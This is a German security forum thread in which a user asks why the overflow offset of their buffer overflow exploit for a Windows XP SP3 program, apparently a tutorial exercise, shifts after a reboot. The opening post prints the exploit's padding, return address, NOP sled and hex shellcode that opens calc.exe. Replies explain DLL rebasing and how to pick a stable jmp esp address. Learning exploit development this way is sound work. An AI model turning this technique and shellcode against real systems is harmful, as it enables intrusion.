Hilfe bei Buffer Oveflow Exploit Offset

B

bubbles

0
Hallo!

Ich bin ganz neu hier und hoffe nun endlich eine zufriedenstellende Antwort zu bekommen :)

Ich habe bereits ein fertiges Exploit geschrieben, welches den buffer overflow ausnützt (Windows XP EN SP3). Wenn ich das python script ausführe, öffnet sich der calc. Soweit so gut (zumindest funktioniert der shellcode jetzt^^).
Wenn ich die VM aber neustarte, verändert sich der offset. Hier der Ausschnitt aus dem Skript:

#trigger the bof
offset = "\x41"*26056
#jmp to esp in loaded dll
eip = struct.pack("<I", 0x01aaf23a)
#some nops to make esp lucky^^
nops = ("\x90"*50)
#open calc.exe
shellcode = ("\xdb\xcd\xba\xd2\x87\xa3\x65\xd9\x74\x24\xf4\x58\x31\xc9"
"\xb1\x33\x83\xc0\x04\x31\x50\x13\x03\x82\x94\x41\x90\xde"
"\x73\x0c\x5b\x1e\x84\x6f\xd5\xfb\xb5\xbd\x81\x88\xe4\x71"
"\xc1\xdc\x04\xf9\x87\xf4\x9f\x8f\x0f\xfb\x28\x25\x76\x32"
"\xa8\x8b\xb6\x98\x6a\x8d\x4a\xe2\xbe\x6d\x72\x2d\xb3\x6c"
"\xb3\x53\x3c\x3c\x6c\x18\xef\xd1\x19\x5c\x2c\xd3\xcd\xeb"
"\x0c\xab\x68\x2b\xf8\x01\x72\x7b\x51\x1d\x3c\x63\xd9\x79"
"\x9d\x92\x0e\x9a\xe1\xdd\x3b\x69\x91\xdc\xed\xa3\x5a\xef"
"\xd1\x68\x65\xc0\xdf\x71\xa1\xe6\x3f\x04\xd9\x15\xbd\x1f"
"\x1a\x64\x19\x95\xbf\xce\xea\x0d\x64\xef\x3f\xcb\xef\xe3"
"\xf4\x9f\xa8\xe7\x0b\x73\xc3\x13\x87\x72\x04\x92\xd3\x50"
"\x80\xff\x80\xf9\x91\xa5\x67\x05\xc1\x01\xd7\xa3\x89\xa3"
"\x0c\xd5\xd3\xa9\xd3\x57\x6e\x94\xd4\x67\x71\xb6\xbc\x56"
"\xfa\x59\xba\x66\x29\x1e\x24\x85\xf8\x6a\xcd\x10\x69\xd7"
"\x90\xa2\x47\x1b\xad\x20\x62\xe3\x4a\x38\x07\xe6\x17\xfe"
"\xfb\x9a\x08\x6b\xfc\x09\x28\xbe\x9f\xcc\xba\x22\x4e\x6b"
"\x3b\xc0\x8e")

Nachdem ich das Exploit fertig hatte und erfolgreich laufen ließ, war der Offset um den bof zu triggern bei 26064. Nachdem die VM neugestartet wurde, musste ich den Offset anpassen- auf 26056.
Sollte der Offset nicht immer gleich bleiben...?

Danke schonmal!

Grüße,
bubble

PS.: Die Aufgabenstellung ist aus einem Tutorial. Aber ich sehe das mehr als Crackme ;)
 
Zuletzt bearbeitet:
Da versucht man sich mit Sicherheit zu beschäftigen und vergisst sowas...

DANKE!!

Mein Verstand hat mich wiedermal getäuscht und mir vorgegaukelt, dass es das erst ab Vista/Win 7 gibt. Man lern eben nie aus :)
 
bubbles hat gesagt.:
*EDIT*

Der Thread kann geschlossen werden.

Danke :)
Zum Vergrößern anklicken....

Okay. bitte doch nicht schließen^^

Nach Anraten von xrayn hab ich mittels EMET (Enhanced Mitigation Experience Toolkit (EMET)) überprüft, ob Windows XP SP3 ASLR einsetzt.
Dem ist nicht so (mein Verstand scheint also noch (zumindest ein wenig^^) zu funktionieren :)

Das heißt jetzt aber, dass meine Frage zwecks des Offsets wieder offen ist :D

Ich bin also weiterhin für jeden Input offen.

Danke für die Hilfe soweit!!
 
Zuletzt bearbeitet:
PS.: Die Aufgabenstellung ist aus einem Tutorial. Aber ich sehe das mehr als Crackme
Zum Vergrößern anklicken....

Ohne Zugriff auf die entsprechende Binary kann man nur raten. Solltest Du jedoch mehr Informationen zur Verfügung stellst, wird sich sicher jemand finden, der Dir hilft ;)
 
Bei mir scheint es mit 26059 "Füll-Bytes" zuverlässig zu klappen.

Code: 
0041E553  |. F3:A5          |REP MOVS DWORD PTR ES:[EDI],DWORD PTR D>

Führt zu dem Exploit und

Code: 
0041E9EC  \. C2 0400        RETN 4

setzt den EIP nach unseren Wünschen.
 
Sehr, sehr myteriös das Ganze...aber wenns bei dir auch funktioniert, wird das bei mir schon irgendwas sein :)

Es ist zudem so, dass ich den windbg verwend. Ich hab jetzt wieder versucht das Alles zu rekonstruieren und festgestellt, dass es in 99% der Fälle tadellos funktioniert. Und sofern es nicht geht, sagt der windbg folgendes:
140312150137_fehlgeschlagen.png


Wenn der calc aufgeht und alles funktioniert:
140312150218_funktioniert.png


(Ich geb die Schuld jetzt einfach mal an WindDBG weiter, weil ich mir sonst einfach keinen Reim auf mein Problem machen kann^^)

Vielen Dank auf jeden Fall für sämtliche Hilfe :)
 
Zuletzt bearbeitet:
bubbles hat gesagt.:
140312150137_fehlgeschlagen.png
Zum Vergrößern anklicken....

Das Exploit triggert auch in diesem Fall zuverlässig, dies erkennst Du daran, dass der EIP mit der von Dir gewollten Adresse übereinstimmt.
Das Problem liegt viel mehr an der Anweisung, die an dieser Adresse steht. Sie löst eine AV (Access Violation) aus, da Dir (in diesem Fall) die Schreibrechte auf Adresse 0x7c910025 fehlen.
Dies erklärt auch, wieso es bei Dir nur manchmal funktioniert. Du springst zwar jedes mal an die gewünschte Adresse (0x01aaf23a), aber ab und zu zeigt ECX auf einen Speicherbereich der nicht beschreibbar ist, was so einer unbehandelten AV führt und so die Ausführung deines Payloads verhindert.

Jetzt stellt sich mir die Frage, wieso du genau zu dieser (0x01aaf23a) Adresse springst?
 
ReDoX hat gesagt.:
Jetzt stellt sich mir die Frage, wieso du genau zu dieser (0x01aaf23a) Adresse springst?
Zum Vergrößern anklicken....

Naja, das verwundbare Programm lädt eine dll (man sieht im Screenshot eh einen Teil dieser [...]Codec02.dll). Dort hab ich mir die Adresse eines jmp esp Befehls rausgesucht (0x01aaf23a), damit ich irgendwo an den Anfang meines Stacks springen kann und die NOPs sorgen für den Rest.
Ich hoffe, damit konnte ich den Sinn ein wenig weitergeben :)
 
Wenn Du Dir den Screenshot nochmal genau ansiehst, dann wirst Du feststellen, dass an dieser Adresse kein
Code: 
jmp esp
steht, sondern folgendes
Code: 
or byte ptr [ecx-18h], dl

Die passiert, da windows die DLLs dahin läd, wo gerade Platz ist. Den
Code: 
jmp esp
solltest Du in der Executable oder in kernel32.dll/ntdll.dll suchen. Kernel32.dll/ntdll.dll werden (in windows xp) immer an die gleiche Adresse geladen.
 
ReDoX hat gesagt.:
Die passiert, da windows die DLLs dahin läd, wo gerade Platz ist.
Zum Vergrößern anklicken....

Okay, das bedeutet also, dass auf dieser Adresse, wo eigentlich mein jmp esp sein sollte eine andere Instruktion einer DLL ist.
Aber hat Windows denn präferierte Adressräume für DLLs? Weil zu 99% funktioniert das ganze ja, nur eben manchmal nicht.
 
Windows hat für DLLs keinen reservierten Adressraum, allerdings können alle PE-Dateien (DLLs sowie Anwendungen usw) eine präferierte Adresse im PE-Header hinterlegen (ImageBase im Optional Header), an die sie geladen werden wollen. Sollte dieser Speicherbereich bereits vergeben sein, so sucht Windows einen alternativen Speicherbereich an den die DLL dann geladen wird.

Die MSRMCcodec02.dll hat die ImageBase 0x10000000, der EIP ist aber 0x01aaf23a und befindet sich in dieser DLL. Wie man nun unschwer erkennt, ist die ImageBase größer, also wurde die DLL nicht an ihre bevorzugte Adresse geladen.
 
lol, ich habs zwar geliked, aber irgendwie meine Antwort nicht abgesandt^^

Also vielen Dank für deine tolle Erklärung. Das mit den DLLs (und auch der Tipp mit den Windows DLLs, welche immer an die selbe Adresse geladen werden) ist ein super Tipp und bringt mich wirklich weiter :)

Sollte ich also wieder eine Frage haben, werde ich mich in diesem Forum melden, da hier die Hilfe wirklich kompetent ist.

Danke!
 
Um antworten zu können musst du eingeloggt sein.
Zurück
Oben